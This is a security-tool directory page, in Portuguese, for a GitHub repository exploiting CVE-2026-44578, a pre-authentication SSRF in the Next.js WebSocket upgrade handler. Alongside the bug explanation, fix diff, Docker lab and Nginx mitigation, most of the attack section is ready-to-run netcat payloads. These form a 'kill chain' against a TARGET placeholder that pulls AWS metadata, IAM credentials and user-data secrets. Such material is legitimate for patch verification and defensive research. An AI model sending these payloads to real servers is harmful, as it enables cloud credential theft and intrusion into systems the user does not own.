Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-44578 — CVE-2026-44578: Next.js WebSocket Upgrade SSRF — roubo de credenciais pré-autenticação via localhost:80. Laboratório + exploit + auditoria. | Kitploit
Ferramentas/GitHubGitHub/dinosn/cve-2026-44578
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança na NuvemAprendizado e EducaçãoLabs e Prática
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket Upgrade SSRF — roubo de credenciais pré-autenticação via localhost:80. Laboratório + exploit + auditoria.

Ver Repositório
92há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-44578 — SSRF no WebSocket Upgrade do Next.js

Server-Side Request Forgery pré-autenticação em implantações self-hosted do Next.js.
Uma única requisição HTTP forjada extrai credenciais da AWS, segredos e dados de serviços internos de localhost:80.

CampoValor
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TipoSSRF (CWE-918)
AfetadosNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (somente self-hosted)
Corrigido15.5.16, 16.2.5
Autenticação NecessáriaNenhuma
Interação do UsuárioNenhuma

Vulnerabilidade

O manipulador de upgrade WebSocket em router-server.ts chama proxyRequest() sempre que parsedUrl.protocol é truthy — sem verificar os flags de conclusão de roteamento finished e statusCode que o manipulador HTTP sempre aplicou.

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

Depois que normalizeRepeatedSlashes colapsa http:/// em http:/, o hostname fica null e o http-proxy se conecta à localhost:80 com o caminho correto. Qualquer serviço co-localizado (metadados de nuvem, painéis de administração, APIs internas) fica exposto.


Comando do Exploit

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl não consegue enviar URIs em formato absoluto. Use TCP bruto: nc, ncat, socat ou sockets Python.


Como Funciona

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

Reprodução em Laboratório

Pré-requisitos

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

Configuração

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

Isso inicia 5 contêineres:

Os sidecars IMDS usam network_mode: "service:nextjs-*" para que o serviço de metadados falso fique em localhost:80 dentro do contêiner do Next.js — modelando uma instância de nuvem real.

Execute o Exploit

root@kitploit:~
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Encerramento

root@kitploit:~
./teardown.sh

Evidências

1. Laboratório em Execução

Todos os contêineres ativos — vulnerável (15.5.15) na :3000, corrigido (15.5.16) na :3001, sidecars IMDS compartilhando namespaces de rede.

Laboratório em Execução

2. SSRF — Listagem de Metadados da AWS

Uma única requisição retorna o diretório completo de metadados do EC2 (ami-id, instance-id, iam/, placement/, etc.)

Listagem de Metadados

3. SSRF — Extração de Credenciais IAM

Conjunto completo de credenciais IAM: AccessKeyId, SecretAccessKey, Token e Expiration.

Credenciais IAM

4. SSRF — Segredos do User-Data

Script de bootstrap do user-data do EC2 contendo DB_PASSWORD e API_KEY.

Segredos do User-Data

5. SSRF — Identidade da Instância

ID da instância extraído pelo mesmo vetor de SSRF.

ID da Instância

6. Instância Corrigida — Bloqueado

Mesmo payload contra o Next.js 15.5.16. Conexão encerrada imediatamente — nenhum dado retornado.

Corrigido Bloqueado

7. Logs do IMDS — Prova de Execução no Servidor

Os logs do IMDS falso mostram requisições GET chegando de 127.0.0.1 (o processo do Next.js), provando que o SSRF é executado no servidor.

Logs do IMDS

8. Suíte PoC Completa — Vulnerável (7/7 Confirmados)

Todos os 7 testes de SSRF retornam dados sensíveis na instância vulnerável.

Suíte Completa Vulnerável

9. Suíte PoC Completa — Corrigido (0/7 Bloqueados)

Todos os 7 testes bloqueados na instância corrigida. Correção confirmada.

Suíte Completa Corrigido


Payloads da Kill Chain

root@kitploit:~
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

Substitua T pelo host alvo e ROLE pelo nome da função IAM.


Restrições


Detecção e Mitigação

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

Na AWS: aplique IMDSv2 (HttpTokens=required).

Assinaturas de log:

  • Failed to proxy http:/ — proxy acionado, mas o alvo está inacessível
  • A variante http:///path não gera nenhum log de erro — monitore upgrades de WebSocket com http: na linha de requisição

Referências


Aviso Legal

Apenas para testes de segurança autorizados, educação e pesquisa defensiva. Use somente contra sistemas que você possui ou para os quais tenha permissão escrita explícita para testar.

Baixar ferramenta
ContêinerFunçãoExposto
nextjs-vulnNext.js 15.5.15 (vulnerável)localhost:3000
nextjs-fixedNext.js 15.5.16 (corrigido)localhost:3001
imds-sidecar-vulnIMDSv1 AWS falso compartilhando rede com o vulnerávellocalhost:80 (da perspectiva do vulnerável)
imds-sidecar-fixedIMDSv1 AWS falso compartilhando rede com o corrigidolocalhost:80 (da perspectiva do corrigido)
internal-apiMock de serviço interno—
LimitaçãoDetalhe
Método HTTPApenas GET
Alvolocalhost:80 (hostname removido pela normalização)
AWS IMDSv2Não explorável (requer PUT)
Metadados GCPNão explorável (rejeita o cabeçalho Upgrade)
Hospedado na VercelNão afetado
Atrás de proxy reversonginx/Caddy/HAProxy bloqueiam URIs em formato absoluto
FonteLink
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
Commit da correçãohttps://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Writeup da Hadrianhttps://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
PoC público (nextssrf)https://github.com/ynsmroztas/nextssrf